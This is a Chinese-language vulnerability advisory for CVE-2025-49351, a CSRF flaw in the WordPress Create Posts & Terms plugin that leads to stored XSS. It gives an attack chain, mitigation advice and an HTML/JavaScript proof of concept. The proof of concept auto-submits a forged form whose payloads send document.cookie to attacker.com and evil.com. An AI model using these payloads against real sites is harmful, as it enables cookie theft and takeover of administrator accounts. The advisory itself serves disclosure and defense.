IPBUF安全漏洞报告
English
CVE-2025-49351 CVSS 7.1 高危

CVE-2025-49351: WordPress Create Posts & Terms插件CSRF漏洞导致存储型XSS

披露日期: 2025-12-09

漏洞信息

漏洞编号
CVE-2025-49351
漏洞类型
CSRF + 存储型XSS
CVSS评分
7.1 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
WordPress Create Posts & Terms插件 (Valentin Agachi)

相关标签

CVE-2025-49351CSRF存储型XSSWordPress插件漏洞Create Posts & Terms跨站请求伪造跨站脚本攻击Valentin Agachi高危漏洞CVSS 7.1

漏洞概述

CVE-2025-49351是WordPress插件Create Posts & Terms中的一个跨站请求伪造(CSRF)漏洞,该漏洞可被利用来实施存储型跨站脚本(Stored XSS)攻击。Create Posts & Terms是一款由Valentin Agachi开发的WordPress插件,主要用于创建文章和分类术语。然而,该插件在处理用户输入时缺少适当的CSRF保护机制,攻击者可以诱导已登录的管理员用户在不知情的情况下执行恶意操作。攻击者通过构造特制的请求,可以绕过CSRF防护,在网站的数据库中注入恶意脚本代码。由于这是存储型XSS漏洞,恶意代码会被永久保存在服务器端,所有访问受影响页面的用户都会受到攻击。该漏洞的CVSS评分为7.1,属于高危级别,攻击复杂度低,无需特殊权限,但需要用户交互。攻击向量为网络范围,机密性、完整性和可用性影响均为低级别。对于运行受影响版本插件的WordPress网站,所有访问者都可能面临会话劫持、凭据窃取、恶意重定向等安全风险。

技术细节

该漏洞的根本原因在于Create Posts & Terms插件缺少针对关键操作的CSRF令牌验证机制。WordPress插件在执行创建文章或分类术语等敏感操作时,应该验证请求是否来自合法的用户会话,并包含有效的CSRF令牌。然而,该插件在版本1.3.1及之前版本中未正确实现这一安全检查。攻击者可以通过社会工程学手段,如钓鱼邮件或恶意网页,诱导已登录的管理员用户点击特制的链接或访问包含恶意表单的页面。当受害者访问攻击者控制的页面时,浏览器会自动向目标WordPress站点发送携带受害者会话Cookie的请求。由于插件缺少CSRF验证,服务器会认为这是合法的管理员操作,从而执行攻击者预设的创建文章或术语操作。攻击者可以在文章标题、内容或术语名称等字段中注入恶意JavaScript代码,这些代码会被存储在数据库中。当其他用户访问包含这些恶意内容的页面时,浏览器会执行注入的脚本代码,从而实现会话劫持、敏感信息窃取等恶意行为。攻击者可以利用此漏洞获取管理员权限,进而完全控制整个WordPress网站。

攻击链分析

STEP 1
步骤1: 侦察阶段
攻击者识别目标网站使用的WordPress版本和Create Posts & Terms插件版本,确认版本是否在受影响范围内(<= 1.3.1)
STEP 2
步骤2: 构造恶意页面
攻击者创建一个包含恶意表单的网页,该表单会自动向目标WordPress站点的admin-ajax.php或插件处理端点发送POST请求
STEP 3
步骤3: 社会工程学攻击
攻击者通过钓鱼邮件、恶意链接或其他社会工程学手段,诱导已登录的WordPress管理员访问恶意页面
STEP 4
步骤4: 自动提交请求
当管理员访问恶意页面时,浏览器自动携带有效的会话Cookie向目标站点发送POST请求,由于插件缺少CSRF验证,请求被接受
STEP 5
步骤5: 存储型XSS注入
恶意脚本代码被写入数据库,存储在文章标题、内容或分类术语名称等字段中
STEP 6
步骤6: 触发攻击
当其他用户访问包含恶意内容的页面时,浏览器解析并执行注入的JavaScript代码
STEP 7
步骤7: 攻击成功
攻击者通过XSS成功窃取用户Cookie、会话令牌或其他敏感信息,可能进一步实现账户劫持或完全控制网站

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CSRF PoC for CVE-2025-49351: Create Posts & Terms CSRF to Stored XSS --> <!-- This PoC demonstrates how an attacker can inject malicious JavaScript via CSRF --> <html> <body> <h1>CVE-2025-49351 CSRF PoC</h1> <p>诱骗管理员提交恶意文章以触发存储型XSS</p> <form action="http://target-wordpress-site/wp-admin/admin-ajax.php" method="POST" id="exploitForm"> <input type="hidden" name="action" value="create_pots_terms_action" /> <input type="hidden" name="post_title" value="<img src=x onerror='alert(document.cookie)'>" /> <input type="hidden" name="post_content" value="<script>fetch('https://attacker.com/steal?c='+btoa(document.cookie))</script>" /> <input type="hidden" name="taxonomy" value="category" /> <input type="hidden" name="term_name" value="XSS-Term<script>alert('XSS')</script>" /> <input type="hidden" name="nonce" value="" /> </form> <script> // Auto-submit the form when page loads document.getElementById('exploitForm').submit(); console.log('CSRF PoC sent - check if XSS payload was stored'); </script> <p>或者使用Fetch API发送请求:</p> <button onclick="sendExploit()">发送漏洞利用请求</button> <script> function sendExploit() { fetch('http://target-wordpress-site/wp-admin/admin-ajax.php', { method: 'POST', credentials: 'include', headers: { 'Content-Type': 'application/x-www-form-urlencoded', }, body: new URLSearchParams({ 'action': 'create_pots_terms_action', 'post_title': '<img src=x onerror="fetch(\'https://attacker.com/steal?cookie=\'+document.cookie)">', 'post_content': 'Malicious content with XSS payload', 'taxonomy': 'category', 'term_name': '<script>document.location=\'https://evil.com/redirect?url=\'+document.cookie</script>' }) }); } </script> </body> </html>

影响范围

Create Posts & Terms <= 1.3.1

防御指南

临时缓解措施
如果无法立即更新插件,可以采取以下临时缓解措施:1)临时禁用Create Posts & Terms插件,直到有安全更新可用;2)使用WordPress安全插件(如Wordfence、Sucuri)添加CSRF保护层;3)加强对管理员账户的安全意识培训,提醒管理员不要点击可疑链接;4)设置Content Security Policy (CSP)响应头,限制脚本执行;5)监控admin-ajax.php的异常请求模式;6)限制非管理员用户创建文章的权限;7)定期检查数据库中是否有可疑的内容被注入。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表